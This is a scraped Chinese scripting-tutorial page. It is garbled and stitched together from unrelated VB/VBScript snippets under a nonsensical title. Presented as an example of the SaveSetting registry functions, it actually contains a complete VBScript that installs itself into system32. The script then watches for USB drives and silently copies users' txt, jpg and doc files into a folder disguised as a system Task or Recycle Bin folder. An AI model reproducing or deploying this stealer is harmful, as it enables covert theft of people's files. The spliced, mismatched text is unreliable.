辅助脚本定制uc正在下载代理

发布时间:2021-08-18 来源:脚本之家 点击:

1、SaveSetting语句

语法:SaveSettingappname,section,key,setting

2、GetAllSettings函数

语法:GetAllSettings(appname,section)

3、GetSetting函数

语法:GetSetting(appname,scetion,key[,default])

4、DeleteSetting语句

语法:DeleteSettingappname,section,[key]

参数含义:

appname:字符串表达式,应用程序名

section:字符串表达式,小节名

key:字符串表达式,关键字名

setting:表达式,关键字设定值

下面通过实例来说明它们的用法:应用程序名为jld_app,小节名为startup,关键字为left
oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

动画分镜头脚本模板
幸好脚本专家都不是爱斯基摩人,而我们每天都要穿戴好外衣、手套和长统帽上班(包括夏天)
  2.在硬盘上建立一个文件用于存放密码,这样就可以读写修改了
  OnErrorGoTosss
  注释:若文件不存在,则捕获该错误,建立密码
  Open("c:\abc.abc")ForInputAs#1
  注释:文件存在,则打开文件
  Input#1,b注释:将密码读入变量b
  Close#1
  a=InputBox("请输入密码!")
  Ifa<>bThenMsgBox"密码错误,您不能使用本软件


OnErrorResumeNext
'vbs代码开始----------------------------------------------
subClose_Process(ProcessName)
OnErrorResumeNext
foreachpsingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_'循环进程
ifUcase(ps.name)=Ucase(ProcessName)then
ps.terminate
endif
next
endsub
Close_Process("notepad.exe")
为了调用上面的过程,可以在窗体上画一个命令按钮,然后编写如下的事件过程:

PrivateSubCommand1_Click()
DimMyDbAsDatabase
DimaAsinteger
SetMyDb=OpenDatabase(''c:\dbdir\db1.mdb'')
a=SetKeepLocal(MyDb,''TableDefs'',''Tabel1'')
Ifa=0Then
MsgBox"已成功设置KeepLocal属性"
Elselfa=3265Then
MsgBox"对象未找到"
Elselfa=3367Then
MsgBox"KeepLocal属性已存在,设置为“T”
Else
MsgBox“出错”
Endlf
Endsub

该事件过程调用SetKeepLocal过程,用来建立并设置数据库db1.mdb的TableDefs集合中Tabel1对象的KeepLocal属性

'Version:2.3代码如下:

If(x<>0)AndyThen...

->


Function UnixTime()
Set objWMIService=_
GetObject("winmgmts:\\.\root\cimv2")
Set colItems=objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
TimeZone=objItem.CurrentTimeZone
Next
UnixTime=DateDiff("s", "01/01/1970 00:00:00", Now())
UnixTime=UnixTime - TimeZone * 60
End Function

My.WebServices最适用于同步调用Web服务WebSite

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号